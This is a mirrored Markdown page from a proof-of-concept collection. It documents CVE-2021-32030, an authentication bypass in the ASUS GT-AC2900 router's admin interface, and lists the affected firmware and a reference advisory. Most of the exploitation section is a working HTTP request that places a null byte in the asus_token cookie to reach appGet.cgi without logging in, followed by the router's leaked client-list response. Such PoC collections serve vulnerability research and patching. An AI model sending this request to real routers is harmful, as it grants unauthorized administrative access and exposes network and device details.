mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
45 lines
1.3 KiB
Markdown
45 lines
1.3 KiB
Markdown
|
# 华硕 GT-AC2900 身份验证绕过 CVE-2021-32030
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
ASUS GT-AC2900管理员应用程序在处理未经身份验证的用户的远程输入时，容易受到身份验证绕过漏洞的攻击，从而导致对管理员界面的未经授权的访问。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
ASUS GT-AC2900韧体版本9.0.0.4.386.41994（测试版）
|
|||
|
|
ASUS GT-AC2900韧体版本3.0.0.4.386.41793（最新生产）
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
通过在auth_check添加空字符进行绕过身份验证。
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
|
|||
|
|
Host: 192.168.1.107:8443
|
|||
|
|
Content-Length: 0
|
|||
|
|
User-Agent: asusrouter--
|
|||
|
|
Connection: close
|
|||
|
|
Referer: https://192.168.1.107:8443/
|
|||
|
|
Cookie: asus_token=\0Invalid; clickedItem_tab=0
|
|||
|
|
|
|||
|
|
HTTP/1.0 200 OK
|
|||
|
|
Server: httpd/2.0
|
|||
|
|
Content-Type: application/json;charset=UTF-8
|
|||
|
|
Connection: close
|
|||
|
|
|
|||
|
|
{
|
|||
|
|
"get_cfg_clientlist":[{"alias":"24:4B:FE:64:37:10","model_name":"GT-AC2900","ui_model_name":"GT-AC2900","fwver":"3.0.0.4.386_41793-gdb31cdc","newfwver":"","ip":"192.168.50.1","mac":"24:4B:FE:64:37:10","online":"1","ap2g":"24:4B:FE:64:37:10","ap5g":"24:4B:FE:64:37:14","ap5g1":"","apdwb":"","wired_mac":[
|
|||
|
|
...
|
|||
|
|
...
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|